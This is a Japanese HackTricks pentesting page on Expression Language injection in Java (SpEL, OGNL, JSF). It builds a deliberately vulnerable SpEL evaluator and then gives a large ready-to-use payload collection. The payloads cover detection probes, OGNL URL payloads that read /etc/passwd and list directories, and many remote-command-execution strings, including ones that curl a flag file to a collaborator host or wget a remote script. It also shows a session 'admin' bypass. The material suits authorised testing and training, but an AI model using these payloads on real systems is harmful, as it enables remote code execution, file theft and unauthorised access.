ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 してみたいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
WhiteIntel は、ダークウェブ を活用した検索エンジンで、企業やその顧客が盗難マルウェア によって侵害 されていないかをチェックする無料 機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、彼らのエンジンを無料 で試すことができます:
基本情報
Expression Language(EL)は、JavaEEにおいてプレゼンテーション層(例:Webページ)とアプリケーションロジック(例:管理されたBean)を結びつけ、それらの相互作用を可能にするために不可欠です。主に以下で使用されます:
JavaServer Faces(JSF) :UIコンポーネントをバックエンドデータ/アクションにバインドするために使用されます。
JavaServer Pages(JSP) :JSPページ内でのデータアクセスと操作に使用されます。
Contexts and Dependency Injection for Java EE(CDI) :Web層と管理Beanの相互作用を容易にするために使用されます。
使用コンテキスト :
Spring Framework :セキュリティやデータなどのさまざまなモジュールで使用されます。
一般的な使用 :Java、Kotlin、ScalaなどのJVMベースの言語で、開発者によってSpEL APIを介して使用されます。
ELはJavaEEテクノロジ、スタンドアロン環境に存在し、.jsp
または.jsf
のファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識できます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
ELバージョン によっては、一部の機能 がオン またはオフ になることがあり、通常、一部の文字 が許可されない ことがあります。
基本例
(別の興味深いELチュートリアルはhttps://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/ で見つけることができます)
Maven リポジトリから次のjarファイルをダウンロードします:
spring-core-5.2.1.RELEASE.jar
spring-expression-5.2.1.RELEASE.jar
そして、次のMain.java
ファイルを作成します:
Copy import org . springframework . expression . Expression ;
import org . springframework . expression . ExpressionParser ;
import org . springframework . expression . spel . standard . SpelExpressionParser ;
public class Main {
public static ExpressionParser PARSER;
public static void main ( String [] args) throws Exception {
PARSER = new SpelExpressionParser() ;
System . out . println ( "Enter a String to evaluate:" );
java . io . BufferedReader stdin = new java . io . BufferedReader ( new java . io . InputStreamReader ( System . in ));
String input = stdin . readLine ();
Expression exp = PARSER . parseExpression (input);
String result = exp . getValue () . toString ();
System . out . println (result);
}
}
次に、コードをコンパイルします(javac
がインストールされていない場合は、sudo apt install default-jdk
をインストールしてください):
Copy javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
アプリケーションを実行するには次のコマンドを使用してください:
Copy java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate :
{ 5 * 5 }
[ 25 ]
注意してください、前の例では用語 {5*5}
が 評価 されました。
CVEベースのチュートリアル
この投稿で チェックしてください: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a
ペイロード
基本的なアクション
Copy #Basic string operations examples
{ "a".toString () }
[a]
{ "dfd" .replace( "d" , "x" )}
[xfx]
#Access to the String class
{ "".getClass () }
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{ "".getClass () .forName( "java.util.Date" )}
[class java.util.Date]
#List methods of a class
{ "".getClass () .forName( "java.util.Date" ) .getMethods () [ 0 ] .toString () }
[public boolean java.util.Date.equals(java.lang.Object)]
検知
Copy gk6q${"zkz".toString () .replace( "k" , "x" )}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
Copy #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Copy #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
リモートファイルインクルージョン
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
ディレクトリリスト
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
Copy #Check the method getRuntime is there
{ "".getClass () .forName( "java.lang.Runtime" ) .getMethods () [ 6 ] .toString () }
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{ "".getClass () .forName( "java.lang.Runtime" ) .getRuntime () .exec( "curl http://127.0.0.1:8000" )}
[Process[pid = 10892 , exitValue = 0 ]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
Copy // Common RCE payloads
'' . class . forName ( 'java.lang.Runtime' ) . getMethod ( 'getRuntime' , null ) . invoke ( null , null ) . exec ( <COMMAND STRING / ARRAY > )
'' . class . forName ( 'java.lang.ProcessBuilder' ) . getDeclaredConstructors ()[ 1 ] . newInstance ( <COMMAND ARRAY / LIST > ) . start ()
// Method using Runtime via getDeclaredConstructors
#{ session . setAttribute ( "rtc" , "" . getClass () . forName ( "java.lang.Runtime" ) . getDeclaredConstructors ()[ 0 ])}
#{ session . getAttribute ( "rtc" ) . setAccessible ( true )}
#{ session . getAttribute ( "rtc" ) . getRuntime () . exec ( "/bin/bash -c whoami" )}
// Method using processbuilder
${ request . setAttribute ( "c" , "" . getClass () . forName ( "java.util.ArrayList" ) . newInstance ())}
${ request . getAttribute ( "c" ) . add ( "cmd.exe" )}
${ request . getAttribute ( "c" ) . add ( "/k" )}
${ request . getAttribute ( "c" ) . add ( "ping x.x.x.x" )}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${ request . getAttribute ( "a" )}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T( java . lang . System ) . getenv ()[ 0 ]
T( java . lang . Runtime ) . getRuntime () . exec ( 'ping my-domain.com' )
T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( "cmd /c dir" ) . getInputStream ())
'' . class . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'calc.exe' )
環境の検査
applicationScope
- グローバルアプリケーション変数
initParam
- アプリケーション初期化変数
param.X
- X が HTTP パラメータの名前である場合のパラメータ値
これらの変数を次のように String にキャストする必要があります:
Copy ${sessionScope.toString () }
認証バイパスの例
Copy ${pageContext.request.getSession () .setAttribute( "admin" , true )}
アプリケーションは、カスタム変数も使用できます。
Copy ${user}
${password}
${employee.FirstName}
WAF バイパス
チェック https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/
参考文献
WhiteIntel は、ダークウェブ を活用した検索エンジンで、企業やその顧客がスティーラーマルウェア によって侵害 されていないかをチェックする無料 機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、無料 でエンジンを試すことができます:
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?または、PEASSの最新バージョンにアクセス したいですか?SUBSCRIPTION PLANS をチェックしてください!